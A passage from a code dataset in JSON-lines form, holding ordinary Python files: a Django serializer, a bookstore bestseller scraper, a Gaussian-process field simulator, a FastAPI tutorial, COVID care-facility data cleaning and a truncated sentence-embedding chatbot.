"usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3507, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3511, "usage_type": "call"}, {"api_name": "pytis.util.ACTION", "line_number": 3511, "usage_type": "argument"}, {"api_name": "sys.exc_info", "line_number": 3517, "usage_type": "call"}, {"api_name": "future.utils.raise_", "line_number": 3523, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3530, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3530, "usage_type": "argument"}, {"api_name": "pytis.util.is_sequence", "line_number": 3563, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3565, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3565, "usage_type": "argument"}, {"api_name": "pytis.data.DBLockException", "line_number": 3578, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3579, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3579, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3582, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3582, "usage_type": "argument"}, {"api_name": "pytis.util.Counter", "line_number": 3586, "usage_type": "name"}, {"api_name": "past.builtins.basestring", "line_number": 3600, "usage_type": "argument"}, {"api_name": "pytis.data.data.DBException", "line_number": 3610, "usage_type": "call"}, {"api_name": "pytis.data.data", "line_number": 3610, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 3610, "usage_type": "name"}, {"api_name": "pytis.data.Function", "line_number": 3614, "usage_type": "name"}, {"api_name": "past.builtins.basestring", "line_number": 3634, "usage_type": "argument"}, {"api_name": "pytis.data.gensqlalchemy.SQLFunctional", "line_number": 3634, "usage_type": "name"}, {"api_name": "past.builtins.basestring", "line_number": 3636, "usage_type": "argument"}, {"api_name": "pytis.data.data.gensqlalchemy.specifications_by_name", "line_number": 3637, "usage_type": "call"}, {"api_name": "pytis.data.data", "line_number": 3637, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 3637, "usage_type": "name"}, {"api_name": "pytis.data.gensqlalchemy.SQLFunctional", "line_number": 3638, "usage_type": "name"}, {"api_name": "past.builtins.basestring", "line_number": 3640, "usage_type": "argument"}, {"api_name": "pytis.data.Type", "line_number": 3650, "usage_type": "argument"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 3651, "usage_type": "call"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 3652, "usage_type": "argument"}, {"api_name": "pytis.data.data", "line_number": 3654, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 3654, "usage_type": "name"}, {"api_name": "pytis.data.sval", "line_number": 3668, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 3670, "usage_type": "call"}, {"api_name": "pytis.data.Binary", "line_number": 3673, "usage_type": "argument"}, {"api_name": "builtins.range", "line_number": 3675, "usage_type": "call"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 3683, "usage_type": "call"}, {"api_name": "pytis.data.sval", "line_number": 3690, "usage_type": "call"}, {"api_name": "pytis.data.ival", "line_number": 3703, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 3712, "usage_type": "call"}, {"api_name": "pytis.data.ColumnSpec", "line_number": 3721, "usage_type": "call"}, {"api_name": "builtins.range", "line_number": 3722, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3731, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3731, "usage_type": "argument"}, {"api_name": "builtins.range", "line_number": 3732, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3743, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3743, "usage_type": "argument"}, {"api_name": "weakref.WeakSet", "line_number": 3765, "usage_type": "call"}, {"api_name": "pytis.data.config", "line_number": 3791, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 3791, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 3793, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 3793, "usage_type": "argument"}, {"api_name": "os.getpid", "line_number": 3802, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 3828, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3828, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 3839, "usage_type": "call"}, {"api_name": "pytis.util.EVENT", "line_number": 3839, "usage_type": "argument"}, {"api_name": "re.match", "line_number": 3853, "usage_type": "call"}, {"api_name": "re.match", "line_number": 3865, "usage_type": "call"}, {"api_name": "pytis.data.config", "line_number": 3910, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 3910, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 3913, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 3913, "usage_type": "name"}, {"api_name": "time.time", "line_number": 3918, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 3919, "usage_type": "call"}]}
{"seq_id": "10752071973", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n\nfrom django.contrib.auth import get_user_model\n\nfrom rest_framework import serializers\n\n\nclass AuthorSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = get_user_model()\n        fields = (\n            'first_name',\n            'last_name',\n        )\n        read_only_fields = ('first_name', 'last_name')\n", "repo_name": "juliomrqz/scrits", "sub_path": "scrits/api/base/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "16453198746", "text": "import requests\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\n\nurl = 'http://www.yes24.com/24/category/bestseller?CategoryNumber=001&sumgb=09'\nres = requests.get(url)\nhtml = res.content\nbook = bs(html, 'html.parser')\n# print(book)\n\nbest = pd.DataFrame(columns=['Book', 'Authod', 'Price', 'URL'])\nfor index, book_info in enumerate(book.select('td.goodsTxtInfo')) :\n    book_title = book_info.select_one('a').text.strip()\n    book_author = book_info.select_one('div.aupu > a').text.strip()\n    book_price = book_info.select_one('span.priceB').text.strip()\n    book_url = book_info.select_one('a').attrs['href']\n    # print(book_title, book_author, book_price, book_url)\n    best.loc[index+1] = (book_title, book_author, book_price, book_url)\n\nbest.to_excel('bestseller.xlsx')\n", "repo_name": "DonggeunJung/PythonSamples", "sub_path": "automation/BestSellerBooks.py", "file_name": "BestSellerBooks.py", "file_ext": "py", "file_size_in_byte": 784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "70924716731", "text": "import PIL.ImageDraw as ImageDraw, PIL.Image as Image, PIL.ImageShow as ImageShow\n\nmx, my = -1, -1\nwith open('img.csv')as f:\n    im = Image.new(\"RGB\", (300, 41))\n    for l in f.readlines():\n        x, y, r, g, b = map(int, l.split(','))\n        mx = max(mx, x)\n        my = max(my, y)\n        im.putpixel((x,y), (r, g, b))\n    im.save(\"g.jpg\")\n\nprint(mx, my)\n", "repo_name": "jowilf/devchampignon2020", "sub_path": "img.py", "file_name": "img.py", "file_ext": "py", "file_size_in_byte": 359, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PIL.Image.new", "line_number": 5, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 5, "usage_type": "name"}]}
{"seq_id": "31750744547", "text": "#!/usr/bin/env python3\n\n#\n# Description: Changes headers in plasFlow assembly fasta from contig# length=length# depth=depthx to Name_contig#_length_length#_depth_depthx\n#\n# Usage: ./fasta_headers_plasFlow.py -i input.fasta -o output.fasta\n#\n# Output location: parameter\n#\n# Modules required: Biopython must be available in python instance\n#\n# V1.0\n#\n# Created by Erisa Sula (nvd4@cdc.gov) and Nick Vlachos (nvx4@cdc.gov)\n#\n\nfrom Bio import SeqIO\nimport sys\nimport os\nimport argparse\n\n#Create an arg parser...someday\ndef parseArgs(args=None):\n\tparser = argparse.ArgumentParser(description='Script to rename contigs in re-assembled plasFlow filtered assemblies')\n\tparser.add_argument('-i', '--input', required=True, help='input fasta filename')\n\tparser.add_argument('-o', '--output', required=True, help='output filename')\n\treturn parser.parse_args()\n\nargs = parseArgs()\nsequences = []\nfor record in SeqIO.parse(args.input,\"fasta\"):\n    #print(record.id)\n    name=os.path.basename(args.input).split(\"_\")[::-1]\n    name=name[2:]\n    name='_'.join(name[::-1])\n    #print(name)\n    #record.id = record.id.split(\"_cov\")[0].replace(\"NODE\",name)\n    print(record)\n    print(name)\n    print(record.description.split(\" \")[0])\n    contig = record.description.split(\" \")[0]\n    record.description.split(\" \")[1]\n    length = record.description.split(\" \")[1].split(\"=\")[1]\n    depth = record.description.split(\" \")[2].split(\"=\")[1]\n    record.id = name+\"_\"+contig+\"_length_\"+length+\"_depth_\"+depth\n\n    #print(record.id)\n    record.description = \"\"\n#    print(record.description)\n#    print(record)\n    sequences.append(record)\n\nSeqIO.write(sequences, args.output, \"fasta\")\n", "repo_name": "DHQP/QuAISAR_singularity", "sub_path": "scripts/fasta_headers_plasFlow.py", "file_name": "fasta_headers_plasFlow.py", "file_ext": "py", "file_size_in_byte": 1660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 31, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 31, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "Bio.SeqIO.write", "line_number": 53, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "73649899131", "text": "# -*- coding: utf-8 -*-\r\nimport numpy as np\r\nimport scipy as sp\r\nimport scipy.linalg as linalg\r\n\r\nfrom itertools import islice\r\n\r\n\r\nclass GP:\r\n    \"\"\"Représente et simule un champ gaussien variant dans le temps.\r\n\r\n    À un instant donné, le champ aux position z et w ont une covariance\r\n    donnée par la fonction kernel. Ce noyau est paramétré par variance,\r\n    spacescale. Le champ est calculé aux position locations. Le\r\n    paramètre timescale permet de calculer la valeur du champs au\r\n    prochain instant. Ce type de champs ne modèlise pas le bruit de\r\n    mesure qui est à prendre en compte autre part.\r\n\r\n    Le champs fourni la valeur des paramètres du noyau et la position\r\n    des points de calcul. L'attribut samples contient la valeur du champ\r\n    aux positions données par locations.\r\n\r\n    Pour passer à l'instant suivant, un appel à la méthode next suffit.\r\n    Autrement, il est possible d'iterer sur le champ pour obtenir la\r\n    suite de ses valeurs au cours du temps.\r\n\r\n    La méthode de simulation est rapide car elle n'est pas exacte. Soit\r\n    X(t) la valeur du champ à l'instant t aux points locations et soit\r\n    X(t+1) celle à l'instant suivant t+1. On a en notant tau=timescale\r\n\r\n    [X(t); X(t+dt)] ~ N(0, [K, K*exp(-1/tau^2); K*exp(-1/tau^2), K])\r\n\r\n    car le noyau complet avec le temps est homogène est vaut k(x,y) *\r\n    e^(-((tx-ty)/timescale^2). Par conséquent,\r\n    \r\n    X(t+dt) | X(t) ~ N(X(t) * exp(-1/timespace^2), K(1-exp(-1/tau^2))).\r\n    \"\"\"\r\n    \r\n    def __init__(self, variance, spacescale, timescale, locations):\r\n        \"\"\"Construit un champ gaussien variant dans le temps.\"\"\"\r\n        self.variance = variance\r\n        self.spacescale = spacescale\r\n        self.timescale = timescale\r\n\r\n        self.locations = locations\r\n        self.covariance = self.kernel(locations, locations)\r\n        self.samples = np.zeros_like(locations)\r\n\r\n        self._meancoef = np.exp(-1.0/self.timescale**2)\r\n        D, V = linalg.eig(self.covariance)\r\n        D = np.real(D)\r\n        D[D < 0.0] = 0.0\r\n        A = V.dot(np.diag(np.sqrt(D)))\r\n        self.samples = A.dot(np.random.normal(size=self.samples.size)).reshape(self.samples.shape)\r\n        \r\n        D *= 1.0 - self._meancoef\r\n        self._L = A * np.sqrt(1.0 - self._meancoef)\r\n        D[D > 0.0] = 1.0 / D[D > 0.0]\r\n        self._Q = V.dot(np.diag(D).dot(np.conj(V.T)))\r\n        self.next()\r\n\r\n        \r\n    def kernel(self, z, w):\r\n        \"\"\"retourne la matrice de covariance du noyau entre les points z et w de\r\n        l'espace à un instant donné. Les coefficients sont donnés par le noyau\r\n        variance*exp(-|z-w|^2/spacescale^2).\"\"\"\r\n        z = np.asarray(z)\r\n        w = np.asarray(w)\r\n        if z.shape == ():\r\n            Z, W = z, w\r\n        else:\r\n            Z = z.flatten()[:, np.newaxis].repeat(w.size, axis=1)\r\n            W = w.flatten()[np.newaxis, :].repeat(z.size, axis=0)\r\n        return self.variance * np.exp(-np.abs((Z - W) / self.spacescale)**2)\r\n\r\n\r\n    def __iter__(self):\r\n        while True:\r\n            yield self.next().copy()\r\n\r\n\r\n    def next(self):\r\n        \"\"\"Simule le champ à l'instant suivant.\r\n\r\n        Simule la valeur du champ aux points locations à l'instant\r\n        suivant t+1 sachant la valeur du champ à ces même points à\r\n        l'instant t.\"\"\"\r\n        W = np.random.normal(size=self.samples.size) # ~ N(O,I)\r\n        self.samples *= self._meancoef\r\n        self.samples += self._L.dot(W).reshape(self.samples.shape)\r\n        return self.samples\r\n\r\n    \r\n    def regression(self, positions, samples=None, noise=None):\r\n        \"\"\"Fait une regression sur la valeur du champs.\r\n\r\n        La méthode retourne la moyenne et la matrice de covariance de la\r\n        valeur du champs aux positions 'positions' sachant la valeurs du\r\n        champs aux positions self.locations. Le bruit de mesure ajouté\r\n        ici est gaussien de variance noise. Si samples vaut None, la\r\n        valeur actuelle du champs aux positions self.locations est\r\n        utilisée sinon l'argument la donne.\"\"\"\r\n        K = self.covariance\r\n        if samples is None:\r\n            samples = self.samples\r\n        if noise is not None:\r\n            samples = samples.copy() + np.sqrt(noise) * np.random.normal(size=samples.size)\r\n            K = self.covariance.copy()\r\n            for i in range(len(K)):\r\n                K[i,i] = noise\r\n        Kpp = self.kernel(positions, positions)\r\n        Kpl = self.kernel(positions, self.locations)\r\n        KplQ = Kpl.dot(self._Q)\r\n        mu = KplQ.dot(samples.flatten()).reshape(positions.shape)\r\n        cov = Kpp - KplQ.dot(Kpl.T)\r\n        return (mu, cov)\r\n\r\n    \r\nif __name__ == '__main__':\r\n    import matplotlib.pyplot as plt\r\n\r\n    # Premier exemple: 1D+t\r\n    plt.figure()\r\n    locations = np.linspace(0.0, 1.0, 11)\r\n    field = GP(variance=1.0, spacescale=0.44, timescale=100, locations=locations)\r\n    example = np.asarray(list(islice(field, 200)))\r\n    plt.plot(example)\r\n\r\n    # Second exemple: 2D+t\r\n    locations = np.dot([1, 1j], np.random.random((2, 10)))\r\n    etendue = np.linspace(0, 1, 20)\r\n    xe, ye = np.meshgrid(etendue, etendue)\r\n    positions = xe + 1j*ye\r\n    field = GP(variance=1.0, spacescale=0.44, timescale=10, locations=locations)\r\n    for t in range(5):\r\n        field.next()\r\n        if True: # t % 20 == 1:\r\n            [mu, cov] = field.regression(positions, noise=0.001)\r\n            vs = cov.diagonal().reshape(positions.shape)\r\n    \r\n            plt.figure()\r\n            plt.subplot(211)\r\n            plt.imshow(mu, extent=(0,1,0,1), origin='lower')\r\n            plt.plot(field.locations.real, field.locations.imag, 'ko')\r\n            plt.subplot(212)\r\n            plt.imshow(vs, extent=(0,1,0,1), origin='lower')\r\n            plt.plot(field.locations.real, field.locations.imag, 'ko')\r\n            \r\n    \r\n    plt.show()\r\n", "repo_name": "alban-goupil/WSN-discrete-morse-theory", "sub_path": "src/gpsim.py", "file_name": "gpsim.py", "file_ext": "py", "file_size_in_byte": 5872, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.zeros_like", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 49, "usage_type": "call"}, {"api_name": "scipy.linalg.eig", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.linalg", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.real", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 107, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 126, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "numpy.dot", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 130, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}]}
{"seq_id": "10257007022", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# 【app】\n#\n#  概要:\n#       FastAPI のレッスン\n#\nfrom fastapi import FastAPI\nfrom typing import List, Dict\nfrom typing import Optional\nfrom fastapi import Query, Path # Query,Path\nfrom pydantic import BaseModel\nfrom fastapi import Body\n\napp = FastAPI()\n\nclass ItemOut(BaseModel):\n    strings: str\n    aux: int = 1\n    text: str\n\n# method and endopoint\n@app.get('/', response_model=ItemOut)\nasync def response(strings: str, integer: int):\n    return {\"text\": \"hello world!\", \"strings\": strings, \"integer\": integer}\n\n#async def hello():\n#    return {\"text\": \"hello world!\"}\n\n@app.get('/get/{path}')\nasync def path_and_query_params(\n        path: str,\n        query: int,\n        default_none: Optional[str] = None): # optional で型\n    return {\"text\": f\"hello, {path}, {query} and {default_none}\"}\n\n# 第一引数はデフォルト値を指定。デフォルト値なし (required)にしたい場合は、...を渡す\n@app.get('/validation/{path}')\nasync def validation(\n        string: str = Query(None, min_length=2, max_length=5, regex=r'[a-c]+.'),\n        integer: int = Query(..., gt=1, le=3),  # required\n        alias_query: str = Query('default', alias='alias-query'),\n        path: int = Path(10)):\n    return  {\"string\": string, \"integer\": integer, \"alias-query\": alias_query, \"path\": path}\n\n# POST method の場合\nclass Data(BaseModel):\n    \"\"\"class Data(BaseModel)\"\"\"\n    string: str\n    default_none: Optional[int] = None\n    lists: List[int]\n\n# post\n#\n# 以下のjson を受ける\n#\n# {\n#     \"string\": \"string\",\n#     \"default_none\": 0,\n#     \"lists\": [1, 2]\n# }\n#\n@app.post('/post')\nasync def declare_request_body(data: Data):\n    return {\"text: hello {}, {}. {}\".format(data.string, data.default_none, data.lists)}\n\n# post/embed\n#\n# 以下のjson を受ける\n#\n# {\n#     \"data\": {\n#         \"string\": \"string\",\n#         \"default_none\": 0,\n#         \"lists\": [1, 2]\n#     } \n# }\n#\n@app.post('/post/embed')\nasync def declare_embedded_request_body(data: Data = Body(..., embed=True)):\n    return {\"text: hello {}, {}. {}\".format(data.string, data.default_none, data.lists)}\n \n\n# post/nest\n#\n# 以下のjsonを受ける\n#\n# {\n#     \"subData\": {\n#         \"strings\": \"string\",\n#         \"integer\": 0\n#     },\n#     \"subDataList\": [\n#         {\"strings\": \"string0\", \"integer\": 0},\n#         {\"strings\": \"string1\", \"integer\": 1},\n#         {\"strings\": \"string2\", \"integer\": 2}\n#     ]\n# }\n#\n\n# subData の型ヒント\nclass subDict(BaseModel):\n    string: str\n    integer: int\n\nclass NestedData(BaseModel):\n    subData: subDict\n    subDataList: List[subDict]\n\n@app.post('/post/nested')\nasync def declare_nested_request_body(data: NestedData):\n    return {\"text\": f\"hello, {data.subData}, {data.subDataList}\"}\n\n    \n", "repo_name": "hisashi-ito/fast-api", "sub_path": "src/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.FastAPI", "line_number": 16, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 35, "usage_type": "name"}, {"api_name": "fastapi.Query", "line_number": 41, "usage_type": "call"}, {"api_name": "fastapi.Query", "line_number": 42, "usage_type": "call"}, {"api_name": "fastapi.Query", "line_number": 43, "usage_type": "call"}, {"api_name": "fastapi.Path", "line_number": 44, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 52, "usage_type": "name"}, {"api_name": "fastapi.Body", "line_number": 81, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 103, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 109, "usage_type": "name"}]}
{"seq_id": "36536792613", "text": "\"\"\"\nThe functions in this file relate to adding cumulative case/death numbers assuming a weird data\nreset in KY.\n\"\"\"\n\nimport flask\nimport numpy as np\nimport pandas as pd\nfrom time import time\n\nfrom app.api import utils\n\n\ndef preclean_KY(df):\n    # some county names are \"Jefferson\" vs \"Jefferson County\", so standardizing by removing \"County\"\n    # and fixing some county typos while here\n    replace_strings = {\n        ' COUNTY': '',\n        'BULLIT': 'BULLITT',\n        'SHLEBY': 'SHELBY',\n        'WOODFOORD': 'WOODFORD',\n    }\n    for key, val in replace_strings.items():\n        df['County'] = df['County'].str.replace(key, val)\n\n    return df\n\n\n# are there any facilities that have dates in 2021 that aren't consecutive from the max? If this\n# returns False, we just propagate the group as is because there's something weird about the dates\ndef is_2021_info_okay(df_group, dates_2021):\n    df_group_dates_2021 = set(x for x in set(df_group.Date) if x > 20210000)\n    seen_2021 = False\n    for date in dates_2021:\n        if seen_2021 and date not in df_group_dates_2021:\n            print('%s' % set(df_group.Facility))\n            return False\n        if not seen_2021 and date in df_group_dates_2021:\n            seen_2021 = True\n    return True\n\n\n# Adds extra rows for 2021 if any are missing, and recomputes the cumulative values using the counts\n# from 20201231 as the base: KY reset their cumulative counts in 2021 so we're correcting for that.\n#\n# If any facilities used to be reported but were dropped before 20201231, add them to the\n# early_disappeared_facilities set.\ndef update_ky_2021_data(df_group, col_map, dates_2021, early_disappeared_facilities):\n    # if something is wrong with this group, flag, return\n    if not is_2021_info_okay(df_group, dates_2021):\n        return df_group\n    \n    # if we don't have data for this facility on 12/31/2020, flag it as a possible other issue,\n    # return group\n    if 20201231 not in set(df_group.Date):\n        early_disappeared_facilities.update(df_group.Facility)\n        return df_group\n    \n    # create rows for missing 2021 dates with no data\n    missing_2021_dates = set(dates_2021).difference(set(df_group.Date))\n    if len(missing_2021_dates) > 0:\n        # take the 20201231 data and propagate it forward, set the dates, remove all metric counts\n        df_head = df_group.head(1)\n        replicated_row_df = df_head.loc[df_head.index.repeat(len(missing_2021_dates))]\n        replicated_row_df['Date'] = missing_2021_dates\n        for col1, col2 in col_map.items():\n            replicated_row_df.loc[:, col1] = np.nan\n            replicated_row_df.loc[:, col2] = np.nan\n    \n        df_group = pd.concat([df_group, replicated_row_df])\n        df_group.sort_values(\n            by=['Date', 'ctp_id'], inplace=True, ignore_index=True)\n\n    # within each group, take the case/death numbers as of 20201231. Use that as the base number for\n    # when they reset in 2021. Set each 2021 cumulative value to the sum of what's there now and\n    # what was on 12/31\n    base_row = df_group.loc[df_group.Date == 20201231].iloc[0]\n    for i, row in df_group.iterrows():\n        if row.Date < 20210000:  # skip 2020 rows\n            continue\n\n        for col in ['Cume_Res_Pos', 'Cume_Staff_Pos', 'Cume_Res_Death', 'Cume_Staff_Death']:\n            base_val = base_row[col]\n            cur_val = df_group.loc[i, col]\n            if pd.isnull(cur_val):\n                cur_val = 0\n            df_group.at[i, col] = base_val + cur_val\n\n    return df_group\n\n\ndef really_update_ky_2021_data(df):\n    col_map = utils.make_matching_column_name_map(df)\n    dates_2021 = sorted([x for x in set(df.Date) if x > 20210101])\n\n    # group facilities and update each group as needed\n    early_disappeared_facilities = set()\n    processed_df = df.groupby(['ctp_id'], as_index=False).apply(\n        lambda x: update_ky_2021_data(x, col_map, dates_2021, early_disappeared_facilities))\n\n    # log which facilities disappeared before 20201231\n    if len(early_disappeared_facilities) > 0:\n        flask.current_app.logger.info('Facilities dropped before 20201231:')\n        flask.current_app.logger.info(early_disappeared_facilities)\n\n    return processed_df\n", "repo_name": "COVID19Tracking/ltc-data-processing", "sub_path": "app/api/unreset_cumulative.py", "file_name": "unreset_cumulative.py", "file_ext": "py", "file_size_in_byte": 4202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.nan", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 68, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 85, "usage_type": "call"}, {"api_name": "app.api.utils.make_matching_column_name_map", "line_number": 93, "usage_type": "call"}, {"api_name": "app.api.utils", "line_number": 93, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.current_app.logger.info", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 104, "usage_type": "attribute"}]}
{"seq_id": "22215020082", "text": "import time\nfrom torch.utils.data import DataLoader\nfrom sentence_transformers import SentenceTransformer\n\nfrom data.dataset import MyDataset\nfrom AE.AE_Bank import *\n\n\nclass My_ChatBot(nn.Module):\n    def __init__(self, model_path='jhgan/ko-sroberta-multitask',\n                 csv_path='data/QA_data.csv',\n                 embed_dim=768,\n                 batch_size=512,\n                 device='cpu'):\n        super(My_ChatBot, self).__init__()\n\n        # settings values #\n        self.device = device\n        self.batch_size = batch_size\n        self.user_embed = 0\n\n        # settings data #\n        self.dataset = MyDataset(root='data/', csv_path=csv_path, embed_dim=embed_dim)\n        self.loader = DataLoader(self.dataset, batch_size=batch_size)\n\n        # settings forward module #\n        self.bert = SentenceTransformer(model_path)\n        if embed_dim==768:\n            self.AE = nn.Sequential()\n        else:\n            self.AE = torch.load('AE/AE' + str(embed_dim) + '.pt').encoder\n        self.cos = nn.CosineSimilarity(dim=-1)\n\n\n    def set_user_embed(self, text):\n        embed = self.sub_forward(text)\n        embed = torch.tensor(embed)\n        embed = embed.view(1, -1).to(self.device) #(1, dim)\n        embed = self.AE(embed)\n        self.user_embed = embed\n\n\n    def sub_forward(self, x):\n        x = self.bert.encode(x)\n        return x\n\n\n    def forward(self, x):\n        sim = self.cos(self.user_embed, x) # Compare (1, dim) to 